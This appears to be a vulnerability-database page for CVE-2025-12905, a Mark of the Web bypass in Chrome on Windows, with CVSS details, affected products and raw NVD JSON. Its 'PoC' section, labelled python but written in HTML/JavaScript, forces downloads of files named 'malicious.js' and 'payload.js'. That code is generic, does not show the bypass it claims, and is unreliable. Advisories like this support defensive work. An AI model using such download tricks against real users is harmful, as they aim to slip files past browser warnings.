Security Vulnerability Report
中文
CVE-2025-12905 CVSS 5.4 MEDIUM

CVE-2025-12905

Published: 2025-11-08 00:15:35
Last Modified: 2025-11-21 21:21:31

Description

Inappropriate implementation in Downloads in Google Chrome on Windows prior to 140.0.7339.80 allowed a remote attacker to bypass Mark of the Web via a crafted HTML page. (Chromium security severity: Low)

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 140.0.7339.80 (Windows)
Chromium-based browsers (similar implementations)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-12905 PoC - Mark of the Web Bypass --> <!DOCTYPE html> <html> <head> <title>CVE-2025-12905 PoC</title> </head> <body> <h1>CVE-2025-12905 MotW Bypass PoC</h1> <p>This is a demonstration of the Mark of the Web bypass vulnerability.</p> <script> // Crafted download mechanism that may bypass MotW function triggerDownload() { // Create a blob with executable content const maliciousContent = 'alert("This file should have MotW but may not");'; const blob = new Blob([maliciousContent], { type: 'application/javascript' }); const url = URL.createObjectURL(blob); // Create download link with specific attributes const a = document.createElement('a'); a.href = url; a.download = 'malicious.js'; document.body.appendChild(a); a.click(); document.body.removeChild(a); URL.revokeObjectURL(url); } // Alternative method using fetch API function downloadWithFetch() { const content = '// malicious code\nconsole.log("MotW bypassed");'; fetch('data:application/octet-stream;base64,' + btoa(content), { mode: 'no-cors' }).then(response => response.blob()) .then(blob => { const url = URL.createObjectURL(blob); const link = document.createElement('a'); link.href = url; link.download = 'payload.js'; link.click(); }); } </script> <button onclick="triggerDownload()">Download File (Method 1)</button> <button onclick="downloadWithFetch()">Download File (Method 2)</button> <p><strong>Note:</strong> This PoC demonstrates the download mechanism. The actual bypass requires specific conditions.</p> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12905", "sourceIdentifier": "[email protected]", "published": "2025-11-08T00:15:35.203", "lastModified": "2025-11-21T21:21:31.057", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Inappropriate implementation in Downloads in Google Chrome on Windows prior to 140.0.7339.80 allowed a remote attacker to bypass Mark of the Web via a crafted HTML page. (Chromium security severity: Low)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:L", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-346"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "140.0.7339.80", "matchCriteriaId": "614C3A2A-11F8-45CE-BEF0-9033AD4AE057"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2025/09/stable-channel-update-for-desktop.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/431309019", "source": "[email protected]", "tags": ["Permissions Required"]}]}}